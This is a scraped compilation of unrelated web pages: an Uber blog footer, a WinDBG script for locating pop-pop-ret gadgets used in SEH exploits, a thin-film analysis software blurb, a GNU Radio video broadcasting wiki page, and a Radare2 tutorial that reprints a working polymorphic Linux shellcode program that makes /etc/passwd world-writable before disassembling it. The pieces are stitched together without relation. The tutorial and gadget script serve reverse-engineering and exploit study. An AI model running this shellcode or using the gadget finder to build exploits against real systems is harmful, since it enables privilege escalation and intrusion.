Haskell by way of Queryparser. 10 out of 10, would Haskell again.

Comments

Related Articles

<img src='img/Temp2_6578.png' width='149' height='64' />

Omphalos, Uber’s Parallel and Language-Extensible Time Series Backtesting Tool

<img src='img/Temp2_6579.png' width='149' height='64' />

Playing the Perfect Game: Building Uber Eats on Android

<img src='img/Temp2_6566.png' width='149' height='64' />

SBNet: Leveraging Activation Block Sparsity for Speeding up Convolutional
Neural Networks

<img src='img/Temp2_6572.png' width='149' height='64' />

Harnessing Code Generation to Increase Reliability & Productivity on iOS at
Uber

<img src='img/Temp2_6574.png' width='149' height='64' />

Scalable Systems & Scalable Careers: A Chat with Uber’s Sumbry

<img src='img/Temp2_6569.png' width='149' height='67' />

Code Migration in Production: Rewriting the Sharding Layer of Uber’s
Schemaless Datastore

<img src='img/Temp2_6576.png' width='149' height='64' />

Introducing the Uber AI Residency

<img src='img/Temp2_6564.png' width='149' height='64' />

Building Reliable Reprocessing and Dead Letter Queues with Kafka

<img src='img/Temp2_6577.png' width='149' height='64' />

Implementing Model-Agnosticism in Uber’s Real-Time Anomaly Detection Platform

<img src='img/Temp2_6568.png' width='149' height='64' />

Designing Uber’s Product Manager Bootcamp

<img src='img/Temp2_6575.png' width='149' height='64' />

Meet Uber’s Software Engineer Apprentices

<img src='img/Temp2_6571.png' width='149' height='64' />

NEAL, Uber’s Open Source Language-Agnostic Linting Platform

<img src='img/Temp2_6578.png' width='149' height='64' />

Omphalos, Uber’s Parallel and Language-Extensible Time Series Backtesting Tool

<img src='img/Temp2_6579.png' width='149' height='64' />

Playing the Perfect Game: Building Uber Eats on Android

<img src='img/Temp2_6566.png' width='149' height='64' />

SBNet: Leveraging Activation Block Sparsity for Speeding up Convolutional
Neural Networks

<img src='img/Temp2_6572.png' width='149' height='64' />

Harnessing Code Generation to Increase Reliability & Productivity on iOS at
Uber

<img src='img/Temp2_6574.png' width='149' height='64' />

Scalable Systems & Scalable Careers: A Chat with Uber’s Sumbry

<img src='img/Temp2_6569.png' width='149' height='67' />

Code Migration in Production: Rewriting the Sharding Layer of Uber’s
Schemaless Datastore

<img src='img/Temp2_6576.png' width='149' height='64' />

Introducing the Uber AI Residency

<img src='img/Temp2_6564.png' width='149' height='64' />

Building Reliable Reprocessing and Dead Letter Queues with Kafka

<img src='img/Temp2_6573.png' width='64' height='64' />

initialinitial _j_ initial Shareinitial289

initialinitial _s_ initial Tweetinitial190

initialinitialinitial _f_ initial Share

initialinitial _D_ initial Voteinitial1

initialinitial _a_ initial Redditinitial58

initialinitialinitial _h_ initial +1

  * Categories: Uber Data /
  * Tags: Architecture, Data Analysis, Data Architecture, Data Infrastructure, Data Ingestion, Data Knowledge Platform, Data Warehouse, Engineering, ETL, Haskell, HIVE, Matt Halverson, Open Source, Parsing, Presto, Python, Queryparser, SQL, Thirft, Transaction Isolation, Uber Engineering, Uber Open Source, UUID, Vertica

  

# Learn Korean Easy\! - Imgur

**Created:**| _1/3/2013 1:54:50 PM_  
---|---  
**Updated:**| _1/3/2013 1:54:50 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
<img src='img/Temp2_4871.jpg' />

# awesome.git - Summary - ViewGit

**Created:**| _2/25/2010 10:50:30 PM_  
---|---  
**Updated:**| _2/25/2010 10:50:34 PM_  
**Author:**| __  
**Tags:**| _awesome_  
  
git clone git://simon.psaux.de

# Pop Pop Ret Finder | NYU Poly ISIS Lab
**Created:**| _1/5/2012 10:02:34 AM_  
---|---  
**Updated:**| _1/5/2012 10:02:34 AM_  
**Author:**| __  
**Tags:**| _Exploit Dep_  
  

# Pop Pop Ret Finder

Posted on January 4, 2012 by odlanyer37

If you’ve attempt to write an SEH Record exploit, you know that it could be a
little time consuming to find a pop pop ret instruction sequence inside a
module that has SafeSEH off. This is because first you’d need to find which
modules, if any, has SafeSEH off, and then search the sequence within those
memory address. You could find the pop instruction for most registers, like
“pop esp”, “pop eax”, “pop edx”, etc. Also, theres a good chance you don’t
know the opcodes for these, so you’d probably assemble each of them to figure
out the opcodes and then proceed to search for matches individually. The most
frustrating part is that, after doing all this, it is very likely that there
wasn’t any match to begin with.

With this in mind, I created a WinDBG script that does this specifically. It
checks if there is any modules with SafeSEH off, and if there is, it will give
you a list of addresses pointing to each pop pop ret instruction sequence
available, ready to plug-in into your exploit.

The script is the following:

[code]

    .load narly ; .load soshelp ; r @$t1 = 0 ; r @$t2 = 0 ; .echo "********************************************************************************" ; !sosexec /c "!nmod [0]|SafeSEH OFF"->" r @$t1 = " ; !sosexec /c "!nmod [1]|SafeSEH OFF"->" r @$t2 = " ; .if (@$t1 != 0 & @$t2 != 0) { s-[1]b @$t1 @$t2 58 58 C3 ; s-[1]b @$t1 @$t2 5b 5b C3; s-[1]b @$t1 @$t2 59 59 C3 ; s-[1]b @$t1 @$t2 5a 5a C3 ; s-[1]b @$t1 @$t2 5f 5f C3 ; s-[1]b @$t1 @$t2 5c 5c C3 ; .echo "********************************************************************************" ; .echo "The addresses above point to that instruction sequence." ; .echo "********************************************************************************" ; } .else {.echo "There was no match." ; .echo "********************************************************************************" ; }
[/code]

It may look like chaos at first, but if you expand it it’s easy to understand
what’s happening.

[code]

    .load narly
    .load soshelp
    r @$t1 = 0
    r @$t2 = 0
    .echo "********************************************************************************"
    !sosexec /c "!nmod [0]|SafeSEH OFF"->" r @$t1 = "
    !sosexec /c "!nmod [1]|SafeSEH OFF"->" r @$t2 = " 
    .if (@$t1 != 0 & @$t2 != 0)
    {
    s-[1]b @$t1 @$t2 58 58 C3 
    s-[1]b @$t1 @$t2 5b 5b C3
    s-[1]b @$t1 @$t2 59 59 C3
    s-[1]b @$t1 @$t2 5a 5a C3
    s-[1]b @$t1 @$t2 5f 5f C3
    s-[1]b @$t1 @$t2 5c 5c C3
    .echo "********************************************************************************"
    .echo "The addresses above point to that instruction sequence."
    .echo "********************************************************************************"
    }
    .else 
    {
    .echo "There was no match."
    .echo "********************************************************************************"
    }
[/code]

It begins by loading two important extensions; narly and soshelp. Narly is a
WinDBG extension with a single command \(\!nmod\) used to list SafeSEH, GS,
DEP, and ASLR information about all loaded modules. Soshelp is a WinDBG
extension used for recurse, filter, and pipe commands, which I found very
useful in creating this script.

Next, it takes the two pseudo-registers t1 and t2 and initialize them to zero.
This is because the script uses these registers to identify wether there is
any module with SafeSEH off. If these remain zero, then there isn’t. Because
you may want to use this script multiple times during the same session, the
scripts starts by resetting these pseudo-registers each time.

All the asterisks are there for formatting and clarity of the output. That’s
all .echo “\*\*\*\*\*” does.

The next two lines take the output of the function “\!nmod” and perform an
action depending on the result. Specifically, it looks for the data in the
first two columns of the output of the function “\!nmod”, only from the rows
where the string “SafeSEH OFF” is present. Then it assigns the content of this
two columns to the pseudo-registers t1 and t2 respectively. If there happens
to be no rows with the specified string, then there will be no new value to be
assigned to the pseudo-registers, and they both remain zero. To see in more
detail how the function “\!sosexec” works, refer to
http://blogs.msdn.com/b/nicd/archive/2008/12/18/windbg-extension-to-easily-
recurse-filter-and-pipe-commands.aspx.

Then, we have an .if statement, which says that the next commands will be
executed only if neither t1 or t2 are still zero. This is because if they are
still zero, that means there is no module with SafeSEH off, so it will not
look for pop pop ret instruction sequences.

The commands inside the .if statement make a simple search for pop pop ret
instruction sequences. At this points, t1 and t2 contain the lower and upper
bound memory addresses respectively for all the modules with SafeSEH off, so
the command “s” use these to restrain its search to relevant modules. Because
the only thing useful for us are the addresses pointing to pop pop ret
instruction sequences, we use the -\[1\] flag. This flag makes the output be
only the addresses of the matches, instead of all the information about the
match, making the output more clean and efficient. The “b” after the flag
tells it to search for the instruction sequences in bytes. Finally, the three
alphanumeric pairs at the end of each line are the opcodes for the pop pop ret
instruction sequences for all different valid pop instructions. That is, “pop
esp”, “pop eax”, “pop ebx”, etc.

Once this search is completed, the result will be a list of all the addresses
pointing to a pop pop ret instruction sequence inside a module with SafeSEH
off, followed by a message saying “The addresses above point to that
instruction sequence.”. All the addresses shown here can be plugged-in into
your exploit.

<img src='img/Temp2_6269.png' width='646' height='180' />

If the .if statement fails, it will automatically show a message saying “There
was no match.”. This means that there wasn’t a loaded module with SafeSEH off.

<img src='img/Temp2_6270.png' width='649' height='107' />

That’s it. This script could be useful for any other similar tasks, like
bypassing DEP or searching for any other instruction sequence. You’d just have
to manually modify the opcodes you’re looking for, and maybe change the
filtering string.

# Analyze & Visualize | Page-7
**Created:**| _9/13/2011 10:11:11 PM_  
---|---  
**Updated:**| _9/14/2011 9:08:34 AM_  
**Author:**| __  
**Tags:**| _analysis statistics DSP_  
  

## Regress Pro - Spectroscopic ellipsometry and Reflectometry data analysis

|  <img src='img/Temp2_663.png' alt='E-mail' />  
---|---  
Tuesday, 30 August 2011 22:33  
---  
<img src='img/Temp2_667.png' width='74' height='105' alt='Regress Pro is
scientific and industrial software that can be used to study experimental data
coming from spectroscopic ellipsometers or reflectometers. The program has
been developed mainly looking to the application of thin film measurement in
semiconductor industry. The software is suitable both to determine the
thickness of the layers and to determine the optical properties of dielectric
materials.' />Regress Pro is a scientific and industrial software that can be
used to study experimental data: the application lets you load
spectroscopic<img src='img/Temp2_666.png' alt='spectroscopic' /> data coming
from an ellipsometer<img src='img/Temp2_666.png' alt='ellipsometer' /> or
reflectometer<img src='img/Temp2_666.png' alt='reflectometer' /> and analyze
them using well-proven algorithms to determine various physical parameters
like film's thickness or refractive index. Regress Pro lets you define a model
of the film stack using a simple declarative language. You can also define a
fit algorithm to analyze the data or, in alternative, perform an interactive
fit of the data. Several models are available to define the dispersion curves
of the materials and in addition some of the most common materials are
provided in the library. The program has been developed mainly looking to the
application of thin film measurement in semiconductor industry. The software
is suitable both to determine the thickness of the layers and to determine the
optical properties of dielectric materials. You will be also able to deﬁne a
ﬁt strategy well suited to the problem under analysis. With Regress Pro you
will be able to determine the optical properties of unknown materials or, if
you already know the materials, you can run simple ﬁts to determine the
thicknesses of the involved layers. To characterize the optical properties of
the materials Regress Pro offers different optical models:

  * Cauchy model;
  * Harmonic Oscillators model;
  * Lookup model.

Dispersion models are useful to describe the refractive index and the
absorption coefﬁcient of a material as a function of the wavelength. Each kind
of dispersion model can have different parameters that determines the
behaviour of the refractive index with the wavelength. When performing a ﬁt of
the experimental data the parameters of the dispersion model can be kept ﬁxed
or they can be given to the ﬁt procedure to ﬁnd the values of best ﬁt. If you
want to try it and/or for more information, click here<img
src='img/Temp2_666.png' alt='here' />. Note: If you use the binary version of
Regress Pro starting from release 1.4 you should register the software for
continued use. Regress Pro is published under the GNU GPL license and as such
it is free software. This means that the source code is freely available and
you have the right to study, modify and distribute the code as long as you
respect the terms of the GNU GPL license. The registration is not meant as a
restriction over the software itself, this latter is available without
restriction accordingly to the GNU GPL license. The registration is meant for
the optimized binary package produced by the author itself and proposed to the
users. It should be seen as a facility to avoid the difficulties of the
software compilation and the user should consider to register the software to
contribute to the development of the project and to reward the author for his
work.  
<img src='img/Temp2_662.png' width='133' height='93' /> <img
src='img/Temp2_665.png' width='133' height='93' /> <img
src='img/Temp2_664.png' width='133' height='93' />

# Simple DVB with Gstreamer and GNU Radio - MyLabWiki

**Created:**| _2/23/2012 10:10:28 PM_  
---|---  
**Updated:**| _2/23/2012 10:10:43 PM_  
**Author:**| __  
**Tags:**| _Linux Gnuradio_  
  

# Simple DVB with Gstreamer and GNU Radio

This article describes a simple video broadcasting setup based on Gstreamer,
GNU Radio and the Universal Software Radio Peripheral \(USRP\). It does not
\(yet\) provide any DVB-T or DVB-S compatible system — just a simple way to
get your webcam on the air\!

## Contents

\[hide\]

  * 1 Overview
  * 2 Source code
  * 3 V1: Conceptual prototype
    * 3.1 Transmitter
    * 3.2 Receiver
    * 3.3 Transceiver
    * 3.4 Simulator
    * 3.5 Other codecs
  * 4 V2: Phase Shift Keying
  * 5 V3: FEC
  * 6 Problems / TODOs
  * 7 References
    * 7.1 Blogs
    * 7.2 Videos
    * 7.3 Related articles

  
---  
##  Overview

The objective is to create a simple digital video broadcasting setup using
easily available components as illustrated on the figure below. The long term
goal is to get a similar setup up to near space and LEO.

<img src='img/Temp2_7522.jpg' width='600' height='258' alt='DvbSys.jpg' />

UVC Webcam

     An UVC compliant webcam is used as a cheap but efficient video source. Current webcams can provide video at HD resolutions, though the image quality is not as good as with a good HD camcorder. Nevertheless, UVC cameras are very easy to capture via USB and are thus excellent for functional and performance testing purposes. 
Gstreamer

     Gstreamer is used for everything related to video processing. This includes capturing the video frames from the camera\(s\), adding text overlays, compressing, encoding and multiplexing into a transport stream. See my Gstreamer Cheat Sheet for all the cool stuff we can do with Gstreamer. 
GNU Radio

     GNU Radio is used to create the software defined radio transmitters and receivers. 
USRP

     The Universal Software Radio Peripheral provides the necessary transmitter and receiver hardware to get our signals on the air \(bits and bytes can not fly\) 
Standard PC hardware is used to run both the Gstreamer and GNU Radio
processes, i.e. we do not use any expensive video compression hardware. A
modern PC with an Intel i7 processor is perfectly capable of compressing the
HD video and running the software radio process at the same time.

Using these components we can accomplish some very advanced and cool
functionalities, such as:

  1. Get multiple video streams and other data into one data stream \(e.g. MPEG-TS\) 
  2. Experiment with different codecs and containers 
  3. Experiment with different combinations of modulation and FEC 
  4. Run simulations without any RF hardware in the loop 
  5. Get on the air on 1.2 GHz \(WBX, DBSRX, RFX1200\), 2.4 GHz \(RFX2400\) and many other frequencies 
  6. Setup two-way video chats 

##  Source code

The source code is available from http://github.com/csete/gnuradio-dvb \-
check out with:

[code]

     git clone http://github.com/csete/gnuradio-dvb.git
    
[/code]

or

[code]

     git clone git://github.com/csete/gnuradio-dvb.git
    
[/code]

##  V1: Conceptual prototype

This is the very first muck-up that I used to get my Logitech Webcam Pro 9000
webcam on the air. It encodes the video to H.264/MPEG-TS and uses GMSK
modulation. There is no error correction. Gstreamer and GNU Radio are
connected using named pipes.

<img src='img/Temp2_7517.jpg' width='700' height='374' alt='DvbSysDia.png' />

The setup is quite functional and robust, though it suffers from the fact that
the MPEG-TS muxer does not support CBR, which is required by GNU Radio and the
USRP. Consequently, the video freezes every now and then for about half a
second \(buffering\).

There are two videos showing this prototype in action, one using a video test
source and one using a webcam.

###  Transmitter

GNU Radio Companion flow graph:

<img src='img/Temp2_7515.jpg' width='600' height='183' alt='Gmsk tx.grc.png'
/>

Gstreamer pipeline:

[code]

     gst-launch -e -v v4l2src device="/dev/video1" ! video/x-raw-yuv, framerate=25/1, width=640, height=360 ! \
       timeoverlay halign=right valign=bottom shaded-background=true ! \
       textoverlay text="Test Video 640x360 25fps" halign=left valign=bottom shaded-background=true ! \
       x264enc bitrate=498 ! mpegtsmux ! filesink location=video1.ts
    
[/code]

Before executing anything, create the pipe that will be used to connect
Gstreamer with GNU Radio:

[code]

     mkfifo video1.ts
    
[/code]

###  Receiver

<img src='img/Temp2_7512.jpg' width='600' height='263' alt='Gmsk rx.grc.png'
/>

For Gstreamer pipeline I wanted to use something simple like

[code]

     gst-launch -v playbin uri=file:///path/to/video2.ts
    
[/code]

but this does not work \(probably due to the mixed VBR/CBR\). Fortunately,
mplayer can be used instead:

[code]

     mplayer video2.ts
    
[/code]

Before executing anything, create the pipe that will be used to connect
Gstreamer with GNU Radio:

[code]

     mkfifo video2.ts
    
[/code]

###  Transceiver

This simple, full duplex transceiver was created to allow using one computer
and one USRP for both transmit and receive. By default, both the receiver and
the transmitter are set to use the same frequency so that the receiver will
receive what the local transmitter transmits; however, it can also be used to
make two way video contacts.

<img src='img/Temp2_7516.jpg' width='600' height='453' alt='GmskTrx.grc.jpg'
/>

This transceiver has been running well on a 13" 2.4GHz MacBook Pro for more
than 4.5 hours \(video of the setup and blog post\).

<img src='img/Temp2_7519.jpg' width='400' height='300' alt='GmskTrxSetup.jpg'
/> <img src='img/Temp2_7520.jpg' width='500' height='313'
alt='GmskTcvrScreenshot.png' />

###  Simulator

This simple simulator was used to test the idea before it was put on the air.
It simply sends the video through a GMSK modulator, mixes it with noise, the a
GMSK demodulator.

<img src='img/Temp2_7521.jpg' width='700' height='475' alt='Gmsk sim.grc.png'
/>

A video demo of the simulator in action is available here.

###  Other codecs

The setup was also tested using Theora codec in Ogg container. It ran very
well \(in some way better than H.264+MPEG-TS\) in simulator and transceiver
mode when using a vuideotestsrc; however, with the Logitech Webcam Pro 9000 it
lost sync after a few minutes and the mplayer console got filled with "Ogg:
bad packet in stream 0" messages and the effective framerate was down at 1
fps.

<img src='img/Temp2_7513.jpg' width='600' height='240' alt='GR-DVB-
TheoraSim.png' />

<img src='img/Temp2_7514.jpg' width='300' height='188' alt='GR-DVB-
TheoraTrx1.png' /> <img src='img/Temp2_7518.jpg' width='300' height='188'
alt='GR-DVB-TheoraTrx2.png' />

See blog post: An experiment with Theora and Ogg for DVB.

##  V2: Phase Shift Keying

_Will introduce BPSK and QPSK_

  

##  V3: FEC

_Will ad error correction code_

  

##  Problems / TODOs

  * The MPEG-TS muxer in Gstreamer does not currently support CBR and the only way to get close to CBR is via the H.264 encoder, which is not constant enough. 
    * Fix the MPEG-TS muxer 
    * The MPEG-TS muxer in the mplayer repository has been updated to support CBR 
  * Reduce the delay. I suspect it is introduced by the encoder because when I mess with the RF parameters I can observe the effects immediately. 
  * The default encoding is not optimal. Try to translate ffpreset to x264enc parameters 
  * On Ubuntu 10.04, mplayer reports the framerate to be twice the actual frame rate. On 9.10 it reports the correct frame rate. 
  * There is a ~300 msec freeze in the stream every 2 seconds 
    * Independent of frame rate and computer speed 
    * Only happens with the camera \(not video test stream\) 
    * Only happens with USRP attached \(not when using the simulator\) 

##  References

###  Blogs

  * 2010.08.03: Simple DVB with Gstreamer and GNU Radio
  * 2010.08.08: Full duplex transceiver version of the DVB setup
  * 2010.09.05: An experiment with Theora and Ogg for DVB

###  Videos

  * 2010.07.25: GStreamer / GNU Radio video transmission simulator - first signals: YouTube. 
  * 2010.08.03: DVB with GNU Radio and Gstreamer - Test stream: YouTube. 
  * 2010.08.03: DVB with GNU Radio and Gstreamer - Webcam: YouTube. 
  * 2010.08.07: DVB with GNU Radio and GStreamer - GMSK Transceiver: YouTube. 

###  Related articles

  1. Embedded Video Processing and Radio Unit

# Adventures with Radare2 \#1: A Simple Shellcode Analysis | Can't Hack, Won't Hack
**Created:**| _7/18/2011 7:04:52 AM_  
---|---  
**Updated:**| _7/18/2011 7:04:52 AM_  
**Author:**| __  
**Tags:**| _reversing Tutorials_  
  

# Adventures with Radare2 \#1: A Simple Shellcode Analysis

Posted on July 17, 2011 by Edd

Radare2 is an open-source reverse engineering toolkit, consisting of a
disassembler, debugger and hex editor. In this article I will show you the
basics by reversing some shellcode I found on Project Shellcode

## Shellcode

To put this into context let’s briefly discuss what we mean by the term
“shellcode”, not to be confused with “shellscript”, which is something else
entirely. “Shellcode” is a term colloquially used to refer to the payload of
an exploit. Typically this would be code injected to start a shell.

Project Shellcode is a repository of shellcodes \(with source\), which I found
via reddit.com/r/reverseengineering last month \(thanks polsab\); let’s look
at one of the examples found there.

## 60 Bytes Chmod 777 Polymorphic x86 Linux Shellcode

The first shellcode I happened to look at from projectshellcode was this

[code]

    /*
    1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
    0     _                   __           __       __                     1
    1   /' \            __  /'__`\        /\ \__  /'__`\                   0
    0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
    1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
    0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
    1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
    0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
    1                  \ \____/ >> Exploit database separated by exploit   0
    0                   \/___/          type (local, remote, DoS, etc.)    1
    1                                                                      1
    0  [+] Site            : Inj3ct0r.com                                  0
    1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
    0                                                                      0
    0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
    Name   : 60 bytes chmod 777 polymorphic x86 linux shellcode
    Date   : Sat Jun  5 16:10:00 2010
    Author : gunslinger_ 
    Web    : http://devilzc0de.org
    blog   : http://gunslingerc0de.wordpress.com
    tested on : linux debian
    special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com),
    ty miller (projectshellcode.com), jonathan salwan(shell-storm.org),
    mywisdom (devilzc0de.org), loneferret (offensive-security.com)
    */
    
    /*
    root@localhost# ls -la /etc/passwd
    -rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
    root@localhost# gcc -o polymorphic_chmod polymorphic_chmod.c
    chmod.c: In function ‘main’:
    chmod.c:37: warning: incompatible implicit declaration of built-in function ‘strlen’
    root@localhost# ./polymorphic_chmod
    Length: 64
    root@localhost# ls -la /etc/passwd
    -rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd
    root@localhost# chmod 644 /etc/passwd
    root@localhost# ls -la /etc/passwd
    -rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
    */
    
    #include 
    
    char shellcode[] =
    	"\xeb\x11\x5e\x31\xc9\xb1\x27\x80\x6c\x0e\xff\x35\x80\xe9\x01"
    	"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x20\x4a\x66\xf5\xe5\x44"
    	"\x90\x66\xfe\x9b\xee\x34\x36\x02\xb5\x66\xf5\xe5\x36\x66\x10"
    	"\x02\xb5\x1d\x1b\x34\x34\x34\x64\x9a\xa9\x98\x64\xa5\x96\xa8"
    	"\xa8\xac\x99";
    
    int main(void)
    {
           	fprintf(stdout,"Length: %d\n",strlen(shellcode));
    	(*(void(*)()) shellcode)();
    
    return 0;
    }
    
    
[/code]

Thanks to gunslinger for allowing me to use this code as an example.

The description in comments claims that the code sets the file permissions on
/etc/passwd to 777, but you would not know that at a glance. What we do know
is that we have an array of bytes initialised as hex, which is then cast to a
function pointer and called.

## Analysis with Radare2

NOTE: This analysis was done using a hg tip snapshot of radare2 from July
2011. Some of the features have only recently been implemented or bugfixed, so
using an older version will not work <img src='img/Temp2_492.gif' alt=';)' />
EDIT: Radare-2.0.8 was released 2 days ago, this will work\!

So how do we find out what this program does? We could build it and run it,
but I won’t, as it could remove my home directory for all I know. Instead let
us examine it statically using radare2.

First we build a binary:

[code]

    % cc -o shellcode polymorphic_chmod_etc_passwd_777.c
    polymorphic_chmod_etc_passwd_777.c: In function 'main':
    polymorphic_chmod_etc_passwd_777.c:53: warning: incompatible implicit
    declaration of built-in function 'strlen'
    
    
[/code]

Next we ignore the warning, and now we load it into radare2:

[code]

    % r2 ./shellcode
     -- In soviet russia radare debugs you!
    [0x1c000764]>
    
    
[/code]

I started radare2 without -d, so we are running in “static” mode, as opposed
to using the debugger built into radare2. Now radare is ready and waiting for
commands, so let’s get to it.

Radare2 commands tend to be very short, some only one letter long. Type ‘?’
followed by enter to get an overview of what you can do. Suffixing a command
with a question mark, will give more detailed information on it’s usage.

What we should first do is locate that byte string. Because our binary was not
stripped, we have the luxury of knowing what the virtual address of ‘main’ is.
Radare2 uses the concept of “flags” to mark useful locations in binaries. Try
typing ‘f’ to see a list of flags. The function main will be flagged as
‘sym.main’.

We use the ‘pd’ command to disassemble:

[code]

    [0x1c000764]> pd@sym.main
          0x1c000764  sym.main:
          0x1c000764    0    8d4c2404         lea ecx, [esp+0x4]
          0x1c000768    0    83e4f0           and esp, 0xfffffff0
          0x1c00076b    0    ff71fc           push dword [ecx-0x4]
          0x1c00076e    4+   55               push ebp
          0x1c00076f    8+   89e5             mov ebp, esp
          0x1c000771    8    51               push ecx
          0x1c000772   12+   83ec14           sub esp, 0x14
          0x1c000775   32+   c704244010003c   mov dword [esp], sym.shellcode
          0x1c00077c   32>   e86bfdffff       call dword imp.strlen
             ; imp.strlen() [1]
          0x1c000781   32    bad831003c       mov edx, 0x3c0031d8
          0x1c000786   32    89442408         mov [esp+0x8], eax
          0x1c00078a   32    c74424040100003c mov dword [esp+0x4], str.Lengthd
          0x1c000792   32    891424           mov [esp], edx
          0x1c000795   32>   e822fdffff       call dword imp.fprintf
             ; imp.fprintf() [2]
          0x1c00079a   32    b84010003c       mov eax, sym.shellcode
          0x1c00079f   32    ffd0             call eax
             ; unk()
          0x1c0007a1   32    b80000           invalid
    
    
[/code]

The ‘pd’ command will disassemble a chunk of code equal to the “block size”
\(see the ‘b’ command\) and in this case it looks like main was bigger than
our block size. Because we know that GCC will make “well-formed” functions, we
ask radare2 to analyse this function and print it in its entirety:

[code]

    [0x1c000764]> af@sym.main
    [0x1c000764]> pdf@sym.main
    / function: sym.main (75)
    |     0x1c000764  sym.main:
    |     0x1c000764    0    8d4c2404         lea ecx, [esp+0x4]
    |     0x1c000768    0    83e4f0           and esp, 0xfffffff0
    |     0x1c00076b    0    ff71fc           push dword [ecx-0x4]
    |     0x1c00076e    4+   55               push ebp
    |     0x1c00076f    8+   89e5             mov ebp, esp
    |     0x1c000771    8    51               push ecx
    |     0x1c000772   12+   83ec14           sub esp, 0x14
    |     0x1c000775   32+   c704244010003c   mov dword [esp], sym.shellcode
    |     0x1c00077c   32>   e86bfdffff       call dword imp.strlen
    |        ; imp.strlen() [1]
    |     0x1c000781   32    bad831003c       mov edx, 0x3c0031d8
    |     0x1c000786   32    89442408         mov [esp+0x8], eax
    |     0x1c00078a   32    c74424040100003c mov dword [esp+0x4], str.Lengthd
    |     0x1c000792   32    891424           mov [esp], edx
    |     0x1c000795   32>   e822fdffff       call dword imp.fprintf
    |        ; imp.fprintf() [2]
    |     0x1c00079a   32    b84010003c       mov eax, sym.shellcode
    |     0x1c00079f   32    ffd0             call eax
    |        ; unk()
    |     0x1c0007a1   32    b800000000       mov eax, 0x0
    |     0x1c0007a6   32    83c414           add esp, 0x14
    |     0x1c0007a9   12-   59               pop ecx
    |     0x1c0007aa    8-   5d               pop ebp
    |     0x1c0007ab    4-   8d61fc           lea esp, [ecx-0x4]
    \     0x1c0007ae    4    c3               ret
          ; ------------
    
    
[/code]

A quick eyeballing of this code shows us what we need to know. There was
enough information in our binary for radare2 to flag the byte string holding
the exploit. If you want to see the actual address of this string, you can
turn off the asm.filter using the ‘e’ command; this will prevent radare2 from
substituting symbols names for constants in disassembly views.

What does the program do with the payload? We see strlen\(\) and printf\(\)
being called, but more importantly, we see the address of the shellcode being
loaded into eax before being called \(load at 0x1c00079a, call at
0x1c00079f\). The obvious next step is to examine the payload to get an idea
of what it might do:

[code]

    [0x1c000764]> pD 60@sym.shellcode
         ,   0x3c001040  sym.shellcode:
         ,=< 0x3c001040    0    eb11             jmp 0x3c001053 [1]
         |   0x3c001042    0    5e               pop esi
         |   0x3c001043   -4-   31c9             xor ecx, ecx
         |   0x3c001045   -4    b127             mov cl, 0x27
        .--> 0x3c001047   -4    806c0eff35       sub byte [esi+ecx-0x1], 0x35
        ||   0x3c00104c   -4    80e901           sub cl, 0x1
        `==< 0x3c00104f   -4    75f6             jnz 0x3c001047 [2]
       ,===< 0x3c001051   -4    eb05             jmp 0x3c001058 [3]
       | `-> 0x3c001053   -4>   e8eaffffff       call dword 0x3c001042
       | |      ; 0x3c001042() [4]
       `---> 0x3c001058   -4    204a66           and [edx+0x66], cl
             0x3c00105b   -4    f5               cmc
             0x3c00105c   -4    e544             in eax, 0x44
             0x3c00105e   -4    90               nop
             0x3c00105f   -4    66fe9b           o16 invalid
             0x3c001062   -4    ee               out dx, al
             0x3c001063   -4    3436             xor al, 0x36
             0x3c001065   -4    02b566f5e536     add dh, [ebp+0x36e5f566]
             0x3c00106b   -4    661002           o16 adc [edx], al
             0x3c00106e   -4    b51d             mov ch, 0x1d
             0x3c001070   -4    1b3434           sbb esi, [esp+esi]
             0x3c001073   -4 string (5): "444d"
             0x3c001078   -4 hex length=64 delta=2
    0x3c001078  64a5 96a8 a8ac 9900 0000 0000 0100 0000  d...............
    0x3c001088  0100 0000 0400 0000 c001 001c 0500 0000  ................
    0x3c001098  8803 001c 0600 0000 5802 001c 0a00 0000  ........X.......
    0x3c0010a8  bf00 0000 0b00 0000 1000 0000 1500       ..............
    
[/code]

` `

``

I used 'pD' here so that I could specify exactly how many bytes to disassemble
\(I chose 60\). So what can we say about this? Well at first glance, there are
some invalid operations which can't be executed, so that's a bit fishy.

What I will now is do a symbolic execution of this code in my head. We first
jump to 0x3c001053, from here we call to 0x3c001042, which happens to be the
instruction right after where we came from in the first place. This could be
pointless, but bear in mind that the call has pushed the return address of the
call onto the stack. And what do you know, they immediately pop the return
address into esi. In 32-bit x86 there is no way of getting directly at the
program counter; what you have just seen is a well known hack used to get it.
The value of the program counter can be used to refer to code/data relative to
the payload \(remember that the attacker does not know where his/her code will
be relocated by the linker\).

So now we are at 0x3c001043 with 0x3c001058 in esi. The code zeros ecx by
xoring it with itself, before loading 0x27 into the lowest byte of ecx. The
next chunk of code which subtracts 0x35 from a \[esi+ecx-0x1\], for ecx =
\{0x27, 0x26, ... , 0x1\} and we already know the value of esi from earlier.
So by my calculations, we need to subtract 0x35 from 0x27 bytes starting at
0x3c001058 so as to emulate the effect of this self modifying code. We can do
this using the 'wo' family of commands; let's ask radare2 for help on this:

[code]

    [0x1c000764]> wo?
    Usage: wo[asmdxoArl24] [hexpairs] @ addr[:bsize]
    Example:
      wox 0x90   ; xor cur block with 0x90
      wox 90     ; xor cur block with 0x90
      wox 0x0203 ; xor cur block with 0203
      woa 02 03  ; add [0203][0203][...] to curblk
    Supported operations:
      woa  +=  addition
      wos  -=  substraction
      wom  *=  multiply
      wod  /=  divide
      wox  ^=  xor
      woo  |=  or
